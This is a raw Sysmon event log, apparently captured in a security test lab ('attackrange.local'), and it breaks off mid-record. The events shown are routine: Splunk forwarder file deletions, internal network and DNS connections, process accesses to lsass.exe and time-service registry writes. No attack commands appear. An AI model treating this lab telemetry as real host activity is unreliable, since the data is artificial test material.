23542300x800000000000000015577Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:54.418{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5E0D45ED0E7BAC8122E6D08E1E1CF8B9,SHA256=F0C5B3EC7DABFC3573AE86911590B578C61D28E72501F9F077A39394CF3D17AF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:54.199{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=277B4027E9FD3BECF1C800F5BDE171AE,SHA256=B93C67EB797D153DE8D3B12AE261D6F2AFACE29E75C6EEBA9225649A3B6735B9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015579Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:55.449{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A26599216858C2C4625F3BCC6F412C0A,SHA256=013ADA13F5F8A5B76D5AAF31F1F8DB97CE11F7C7943A86DAD122FADE0350CD41,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:53.431{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59426-false10.0.1.12-8000- 23542300x800000000000000047891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:55.215{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B7BAC4DB862D887AC40DD2F27B435FC1,SHA256=5259085090466F506981C2613DC9B8A565C5D2A1491B5AE5F6CD533FB0FCC43B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015581Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:56.465{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EFFA34BDB81456E384C4D80F0D326B5C,SHA256=CED7141230666628E5564ABAB3ACBFA10D3EFC747F69BC120ABB2FD260A8C88B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:56.246{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6BC1773A8067FF1BCA6D27E1C6DEBB78,SHA256=2E969907EA9E2352CAAD3DAFEEBEB3B7C239123F7790A9BC9B2FC97358BD7F33,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015580Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:55.196{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50232-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000047894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:57.480{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=98EAF12BDCF4F16E2689A9C7E4F5034A,SHA256=7C01A22F2632BCAD82BE0BD34D219C21C1F4141DC0C868AA7474A7EEE573FC77,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015582Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:57.481{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=644DFCA721D2EC14012E2B2E80C0ECD9,SHA256=B608571C45122D21A02DC7B46840F2BBC2A117109EB383629876080BCE421C09,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015584Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:58.496{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F9C71F1313A006426EF9FD9B2E8FCE17,SHA256=70A89BE77A38616CDC6086F1A86EC2EECC0DCA61A93F1B85E84701BB4EE0DCC5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:58.683{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D478E072DC0B9F9189BB6D6634493C0A,SHA256=3D1C912916220B67EFD0AA9C2CE304B6D9EAC9BD6E0E001B23271094BCDA3BDC,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015583Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:56.461{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50233-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000047898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:59.715{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F3B5D589CB8CDFDACE1765F7E0A1ACC4,SHA256=CB0BF1A636A7EB163D3BE333A0D391FCDDD4161714770FCB4A7DC495FA6E6A30,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015585Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:59.512{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=495931C9D3E47C0B68A95D5CF10FB6E3,SHA256=0E5454216E6CD252DD1FA2BD851C835B1E80D97AF83985FC30E352085A43B245,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:59.293{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=B27EA3FE34E477FF15400A692DD6BD71,SHA256=C4DE679D7F38A688EA508BF13222CC727AC227A0B25AE6D5A2EE1C9EE2D7E977,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:59.293{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5B2915488DA48EA22C55603F0EED1FE2,SHA256=72C195008C76087A9AABC1BE7E9BCF30AE5EB3406CE840E70FCEF030F92DBDA5,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:57.587{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59427-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000047901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:57.587{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59427-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000047900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:00.725{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C12AFC5F80E04777FD33D07A83278783,SHA256=18E81A3D0C24831E638EEA80917ABD4E6F617D4726121DA54A3B4087CC4AF224,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015586Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:00.528{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=841126763890E6D9985628132B3D8330,SHA256=4FA60B828B49ADEF7E32EF20DA51865CE0411375384D5DC92A5E0938309859F0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:00.265{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-048MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:01.739{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=767ED2691E66FC9C4F0B741D90FFB192,SHA256=A75F34D188DB96EBEB2D2E511989D87E8856B7A752F26E03E782BAAD3FB4E614,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015587Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:01.559{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2CD38B0C0C47D4BE34EB64886D82D6A8,SHA256=77ECFF2D6F8423AA44C0AAA944708066BC33112F571D1CBBD335A3209781A69F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:01.273{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-049MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015589Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:02.590{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=767EFEBBC3AC3C091E79FD959A5A6A32,SHA256=003468C9CA780CE44AF4271003FB81BE057832BF153D43380E605C5B98472420,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:02.836{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=45E298CC432F73FC8CFCAE8350BF1F62,SHA256=4E81E946972E5D8441B3D01F8A490F250B0B3FD56C095FFB1B659B1DA5FE3994,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:59.477{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59428-false10.0.1.12-8000- 23542300x800000000000000015588Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:02.262{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=BF25EFF1A51F22C1C2627DF4EC4EF7D3,SHA256=4A9D1655890B9B3961F22809C0F9251ABB02B9735E669FBB4ED98D99C2A447D3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:03.851{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0E23DA6FCC885472330BD7D6EFCF69FD,SHA256=4E6F0871848CC22A663DA79F6963CDF18F8A9490BD32C3DB8062CC5EA14574BD,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015594Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:03.684{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015593Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:03.684{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015592Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:03.684{625C326B-67ED-613B-0B00-00000000F101}628716C:\Windows\system32\lsass.exe{625C326B-67EC-613B-0A00-00000000F101}620C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+1a16d|C:\Windows\system32\lsasrv.dll+2704b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000015591Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:03.606{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=84031B8714F7E68E1FFAF44A1CFDA2A4,SHA256=DFEC31759A94FB9D39B7AD5EA167FF11DB552D515B80CAF6C4B07EC70A5BE6AF,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015590Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:01.508{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50234-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000047912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:04.867{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=06B308675FFD9FCFFA55FC5716576CCD,SHA256=BD1658D71201193D3C868D9FF1F9F005C1917C85DE6FFFDF051E205EBC7CA00F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015607Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:04.684{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=914C25D24BE7E2C2D1AB268AB86CC3E1,SHA256=32701DF772075BAD4E9CC978E4C5E95A607CD9065C5B3CB587BFA75B6ECA9855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015606Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:04.684{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=73A2799626ADA9F7B31A9F1DB713FA3C,SHA256=BCE79AE8214F5EB1E0DB9D8AB45F0BFFD19568CA4D67DF2BAEDF074D0D862680,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015605Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:04.606{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=40BEE6CBA0434F919FE1FE37BD4933EE,SHA256=E52F1C0E6B4F5EDFAEA0E9175818A202FCE5477B51911D2AAF5DCA831B8A4277,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:03.002{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.14win-dc-387.attackrange.local53domainfalse10.0.1.15ip-10-0-1-15.eu-central-1.compute.internal57513- 354300x800000000000000047910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:03.001{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.14win-dc-387.attackrange.local53domainfalse10.0.1.15ip-10-0-1-15.eu-central-1.compute.internal63606- 354300x800000000000000047909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:03.000{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudptruefalse10.0.1.14win-dc-387.attackrange.local64436-false10.0.0.2ip-10-0-0-2.eu-central-1.compute.internal53domain 354300x800000000000000047908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:03.000{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.14win-dc-387.attackrange.local53domainfalse10.0.1.15ip-10-0-1-15.eu-central-1.compute.internal52448- 13241300x800000000000000015604Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:54:04.059{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000008) 13241300x800000000000000015603Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:54:04.059{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x0025a515) 13241300x800000000000000015602Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:54:04.059{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64b-0x507290cd) 13241300x800000000000000015601Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:54:04.059{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a653-0xb236f8cd) 13241300x800000000000000015600Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:54:04.059{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65c-0x13fb60cd) 13241300x800000000000000015599Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:54:04.059{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000008) 13241300x800000000000000015598Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:54:04.059{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x0025a515) 13241300x800000000000000015597Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:54:04.059{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64b-0x507290cd) 13241300x800000000000000015596Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:54:04.059{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a653-0xb236f8cd) 13241300x800000000000000015595Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:54:04.059{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65c-0x13fb60cd) 23542300x800000000000000047913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:05.930{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DB83CDF80F2A2AD7B0A975045948DE65,SHA256=35CC49330AF64871E2EAD3D59012E418A7EFE44F8C414267734CCD8BE917E9F3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015612Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:05.608{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2E220914DCD521F12DC81960A0ED0FDD,SHA256=E846C04BB346DC8A45C17B30A56C2AC2BEC899D41664CE63C326901CA7A6C1CE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015611Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:05.423{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program 